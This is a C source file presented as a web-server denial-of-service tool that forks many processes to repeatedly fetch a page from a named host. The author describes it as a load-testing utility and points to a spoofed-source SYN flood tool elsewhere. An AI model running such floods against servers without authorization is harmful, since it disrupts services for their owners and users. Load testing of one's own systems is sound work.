/*
Author:		Hu Jiaying
Date:		2002/07/27
Email:		hujiaying@sina.com
Function:	Denial of Service Attack on web service.To get the performance
		of your web server.
Usage:		./DoS <hostname or ip> <port> <page path> 
			<#children> <#loops/child>

Example:	./DoS www.myhost.com 80 /index.html 100 50
	100 child process run at the same time,every child fetch 50 times
		
Comment:	To be honest,this is not a effective denial-of-service attack
	tool.I just want to provide a press test tool on web pages to get the
	performance of my web service.It connects to the web server and fecth
	a web page.
		If you want a effective denial-of-service attack tool,please
	refer to syn.c.It just send syn packet to web server with different
	source ip.
	
Enjoy! :)
*/
#include <stdio.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define MAXLINE 1024
#define MAXN 102400
//16384

int Socket(int family, int type, int protocol);
void Connect(int fd, const struct sockaddr *sa, socklen_t salen);
int Tcp_connect(const char *host,const char *port);
void Write(int fd, void *ptr, size_t nbytes);
ssize_t Readn(int fd, void *ptr, size_t nbytes);
ssize_t readn(int fd, void *vptr, size_t n);
void Close(int fd);
pid_t Fork(void);
u_int32_t domain2ip_n(const char *domain) ;

main(int argc,char **argv)
{
	int i,j,sd,nchildren,nloops,nbytes;
	pid_t pid;
	ssize_t n;
	char request[MAXLINE],reply[MAXN];
	char PagePath[1024];

	if(argc!=6)
	{
		printf("usage:%s <hostname or ip> <port> <page path> <#children> <#loops/child>\n",argv[0]);
		exit(0);
	}
	memset(PagePath,0,sizeof(PagePath));
	memset(request,0,sizeof(request));
	strcpy(PagePath,argv[3]);
	nchildren=atoi(argv[4]);
	nloops=atoi(argv[5]);
	nbytes=1024*1024;
	snprintf(request,sizeof(request),"GET %s HTTP/1.0\r\n\r\n",PagePath);
//	printf("request=[%s]\n",request);
	for(i=0;i<nchildren;i++)
	{
		if((pid=Fork())==0)
		{
			for(j=0;j<nloops;j++)
			{
				sd=Tcp_connect(argv[1],argv[2]);
				Write(sd,request,strlen(request));
				if((n=Readn(sd,reply,nbytes))!=nbytes)
					printf("server returned %d bytes\n",n);
				Close(sd);
			}
			printf("child %d done\n",i);
			exit(0);
		}
	}
	while(n=wait(NULL)>0);/* finally return 0,no child was available,errno is set to an appropriate value */
	if(errno!=ECHILD)	/* no child was available */
	{
		printf("wait error");
		exit(1);
	}
	exit(0);
}

int Tcp_connect(const char *host,const char *port)
{
        int sd,port_h;
        u_int32_t ip;
        struct sockaddr_in srvaddr;
        struct servent  *sv;

        sd=Socket(AF_INET,SOCK_STREAM,0);
        bzero(&srvaddr,sizeof(srvaddr));
        srvaddr.sin_family=AF_INET;
        srvaddr.sin_port=htons(atoi(port));
        ip=domain2ip_n(host);
        memcpy(&srvaddr.sin_addr.s_addr,&ip,4);

        Connect(sd,(struct sockaddr *)&srvaddr,sizeof(srvaddr));
        return sd;
}

void
Write(int fd, void *ptr, size_t nbytes)
{
        if (write(fd, ptr, nbytes) != nbytes)
        {
		printf("write error");
		exit(1);
	}
}

ssize_t
Readn(int fd, void *ptr, size_t nbytes)
{
        ssize_t         n;
        if ( (n = readn(fd, ptr, nbytes)) < 0)
        {
	        printf("readn error");
		exit(1);
	}
        return(n);
}

ssize_t                                         /* Read "n" bytes from a descriptor. */
readn(int fd, void *vptr, size_t n)
{
        size_t  nleft;
        ssize_t nread;
        char    *ptr;

        ptr = vptr;
        nleft = n;
        while (nleft > 0) {
                if ( (nread = read(fd, ptr, nleft)) < 0) {
                        if (errno == EINTR)
                                nread = 0;              /* and call read() again */
                        else
                                return(-1);
                } else if (nread == 0)
                        break;                          /* EOF */
                nleft -= nread;
                ptr   += nread;
        }
        return(n - nleft);              /* return >= 0 */
}
/* end readn */

void Close(int fd)
{
        if (close(fd) == -1)
        {
	        printf("close error");
		exit(1);
	}
}

pid_t Fork(void)
{
        pid_t   pid;

        if ( (pid = fork()) == -1)
        {
	        printf("fork error");
		exit(1);
	}
        return(pid);
}

u_int32_t domain2ip_n(const char *domain)       //return network order(binary)
{
        static u_int32_t ip_n;
        struct hostent *ht;

        if((ht=gethostbyname(domain))==NULL)
        {
		printf("gethostbyname() error for host:%s:%s",domain,
                        hstrerror(h_errno));
		exit(1);
	}
        memcpy(&ip_n,ht->h_addr,4);
        return ip_n;
}

int Socket(int family, int type, int protocol)
{
        int             n;

        if ( (n = socket(family, type, protocol)) < 0)
	{
                printf("socket error");
		exit(1);
	}
        return(n);
}

void Connect(int fd, const struct sockaddr *sa, socklen_t salen)
{
        if (connect(fd, sa, salen) < 0)
	{
                printf("connect error");
		exit(1);
	}
}